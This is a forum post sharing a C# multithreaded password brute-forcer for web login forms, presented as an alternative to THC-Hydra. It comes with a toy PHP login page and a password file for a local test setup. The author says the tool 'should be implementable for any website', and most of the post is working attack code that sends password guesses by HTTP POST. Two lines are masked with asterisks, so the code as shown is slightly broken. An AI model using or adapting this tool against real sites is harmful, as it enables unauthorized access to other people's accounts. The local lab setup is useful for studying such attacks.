Moments when I was still using Windows, one of my list of my old C# projects. I'm posting it for someone if it's interested to study and because I was planning to do a good alternative to THC-Hydra for Windows and Linux (bad end, no time available), but since I lost the whole c++ core project, I rewrote it in c#.

The program is able to plan a clever attack splitting the passwords to test for a bunch of tasks. Code (sorry if there are some non-english comments):

Code:
using System;
using System.Collections.Generic;
using System. IO;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace cleverbruteforcer
{
    internal class Program
    {
        private static string user = "admin";
        private static List<CancellationTokenSource> ctsPool = new List<CancellationTokenSource>();

        private static void Main(string[] args)
        {
            Console.Title = "cleverbruteforcer - an open source bruteforcer able to map out the attack (by  @javalover from mpgh.net)";

            string[] pswds = { "hello", "one", "two", "three", "four", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14" };
            Console.WriteLine(string.Format("The array of passwords has a length of {0}", pswds.Length));

            Console.WriteLine("\nLet's do a test.\n\nPassword per task:");
            int passwordPerTask = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("\nTask(s) number:");
            int tasks = Convert.ToInt32(Console.ReadLine());

            Console.Clear();
            Console.WriteLine(string.Format("Running {0} task(s) - Password per task: {1}\n\n", tasks, passwordPerTask));

            // Assegna ad ogni task le password da testare

            if (tasks < pswds.Length && (passwordPerTask * tasks) <= pswds.Length)
            {
                int lastAssignedPassword = 0;
                for (int i = 0; i < tasks; i++)
                {
                    List<string> passwordsForTask = new List<string>();

                    if (tasks > (i + 1))
                    {
                        for (int j = 0; j < passwordPerTask; j++)
                        {
                            passwordsForTask.Add(pswds[lastAssignedPassword]);
                            lastAssignedPassword++;
                        }
                    }
                    else if (tasks == (i + 1))
                    {
                        for (int j = lastAssignedPassword; j < pswds.Length; j++)
                        {
                            passwordsForTask.Add(pswds[j]);
                        }
                    }

                    TaskWork(i, passwordsForTask.ToArray());
                }
            }

            // Fine assegnazioni

            Console.ReadKey();
            StopTasks();
        }

        private static void TaskWork(int taskId, string[] passwords)
        {
            Console.WriteLine(string.Format("Running task n'{0} - Passwords to test: {1}", taskId, passwords.Length));

            CancellationTokenSource cts = new CancellationTokenSource();
            Task task = Task.Factory.StartNew(() => SendPasswords(cts.Token, user, passwords)); // si può utilizzare pure Task.Run() se si sta lavorando con il .net framework 4.5
            ctsPool.Add(cts);
        }

        private static void StopTasks()
        {
            for (int i = 0; i < ctsPool.Count; i++)
                ctsPool[i].Cancel();

            ctsPool.Clear();
        }

        private static void SendPasswords(CancellationToken token, string username, string[] passwords)
        {
            foreach (string password in passwords)
            {
                token.ThrowIfCancellationRequested();
                var request = (HttpWebRequest)WebRequest.Create("http://localhost/login.php");
                var send_data = string.Format("user={0}&password={1}", username, password);
                var encoded_fields = Encoding.ASCII.GetBytes(send_data);

                request.Method = "POST";
                reques*****ntentType = "application/x-www-form-urlencoded";
                reques*****ntentLength = encoded_fields.Length;

                using (var stream = request.GetRequestStream())
                {
                    stream.Write(encoded_fields, 0, encoded_fields.Length);
                }

                var res_data = (HttpWebResponse)request.GetResponse();
                var page = new StreamReader(res_data.GetResponseStream()).ReadToEnd();

                if (page.Contains("SUCCESS LOGIN!"))
                {
                    Console.WriteLine('\n' + send_data);
                    StopTasks();
                }
            }
        }
    }
}
to make a test environment install a webserver like apache (let it load php modules), or xampp. Then copy these files in the root of the webserver:

index.html:
Code:
<html>
  <head>
    <title>Login Page</title>
  <head>

  <body>
    <FORM ACTION=login.php METHOD=POST>
      Username: <INPUT TYPE=TEXT NAME="user"><BR>
      Password: <INPUT TYPE=PASSWORD NAME="password">
     <P><INPUT TYPE=SUBMIT VALUE="Login">
    </FORM>
  </body>
</html>
login.php:

Code:
<html>
  <head>
    <title>Admin page</title>
  <head>

  <body>
    <?php
        $name  = $_POST['user'];
        $pass  = $_POST['password'];

        $pwdFile = "password.txt";
        $fh = fopen($pwdFile, 'r');
        $data = fgets($fh);
        fclose($fh);
   
        $text = explode(":", $data);

        $user_fun = $text[0];
        $pass_fun = $text[1];

        // confronto le stringhe
        if( $name === $user_fun && $pass === $pass_fun){
            echo "SUCCESS LOGIN!";
        }else{
            echo "USERNAME OR PASSWORD ARE NOT CORRECT";
        }
     ?>
        <br>
  </body>
</html>
make in the same folder the password.txt file with content:
Code:
admin:pass
it should be implementable for any website.